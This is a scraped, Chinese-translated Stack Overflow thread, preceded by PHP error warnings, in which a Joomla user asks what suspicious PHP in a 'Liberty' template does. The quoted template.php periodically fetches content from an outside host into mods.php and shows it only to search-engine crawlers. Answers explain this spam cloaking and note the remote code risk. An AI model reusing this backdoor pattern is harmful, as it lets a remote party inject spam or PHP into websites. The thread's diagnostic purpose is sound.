Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/joomla/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
有人能给我解释一下这个php代码在做什么吗?_Php_Joomla - Fatal编程技术网

有人能给我解释一下这个php代码在做什么吗?

有人能给我解释一下这个php代码在做什么吗?,php,joomla,Php,Joomla,我正在使用一个名为Liberty的Joomla模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,链接就会消失,只是后来才出现。我终于找到了问题所在。php代码称为一个名为template.php的include页面,该页面又称为一个名为mods.php的文件。下面是这些文件中的代码 从template.php: <?php ini_set('display_errors',0); $path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST

我正在使用一个名为Liberty的Joomla模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,链接就会消失,只是后来才出现。我终于找到了问题所在。php代码称为一个名为template.php的include页面,该页面又称为一个名为mods.php的文件。下面是这些文件中的代码

从template.php:

<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {    
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>

这是来自我的服务器mods.php的代码,其中有我得到的奇怪链接:

<p><a target="_blank" href="https://ro-ro.facebook.com/zebras.ro">zebras magazin haine femei</a> <a target="_blank" href="http://mkhandtaschen.tumblr.com/">michael kors tasche schwarz</a></p>

我从template developer下载了一份新的模板副本,其mods.php文件与此不同:

<div class="leader"><p><a target="_blank" title="t shirt bedrucken" href="http://webhostshield.com/bluehost-review/">bluehost 2013 reviews</a></p></div>


我可以大致了解正在发生的事情,但是我没有得到psdu.net/me3.php的外部链接。我已经禁用了index.php文件中调用template.php的那一行,网站运行正常。这两个文件看起来很可疑,对我来说没有必要。如果有比我更有经验的php程序员提供任何信息,我将不胜感激。谢谢

它检查HTTP\u USER\u代理,该代理通常包含有关浏览器、操作系统、版本等的信息。然后,如果HTTP_USER_代理包含“Googlebot”、“Yahoo”、“msnbot”或“Googlebot Mobile”,它会回显信用(mods.php显示的内容)


我假设这是从mods.php为任何搜索引擎索引您的页面提供的附加信息。

这确实不好,可以认为是一个严重的漏洞

如果任何人都可以模拟psdu.net(例如DNS欺骗;请注意,不涉及SSL——因此也不涉及远程方身份验证)——或psdu.net落入坏人之手——任何PHP负载都可以存储在mods.PHP文件中,并通过访问…/templates//html/mods.PHP URL“触发”


事实上,这真的很糟糕

它似乎为谷歌机器人公司检索、缓存和打印垃圾邮件,这真的不好。如果原始模板没有这些文件,你应该更换整个原始模板,我会担心你的网站已经被黑客,如果文件不匹配,你最初安装的。你需要弄清楚为什么会这样。检查所有扩展,确保它们不在易受攻击的扩展列表中。这是模板中提供的。只有mods.php不同,因为template.php代码将链接写入mods.php。几周前,我联系了该模板的开发人员,才弄清楚到底发生了什么,但从未得到回复。昨天,在我知道问题出在哪里之后,我回到他的网站,下载了他的一些其他模板,看看它们有什么。它们也与此类似,具有相同的template.php和mods.php文件。所以我不知道这是他故意的还是他的网站被破坏了。我现在从我的网站上清理了这些。我想知道该如何处理这个模板网站。如果我弄清楚了,它将采用$path,这显然是我网站页面的url,并使用它来种子链接到psdu.net/me3.php?I=。我在网络浏览器中玩过它,插入了网络上流行站点的不同URL,得到了不同的链接。你是对的,我忽略了它正在用页面内容保存$credits,上面代码中的$path将成为你的站点页面。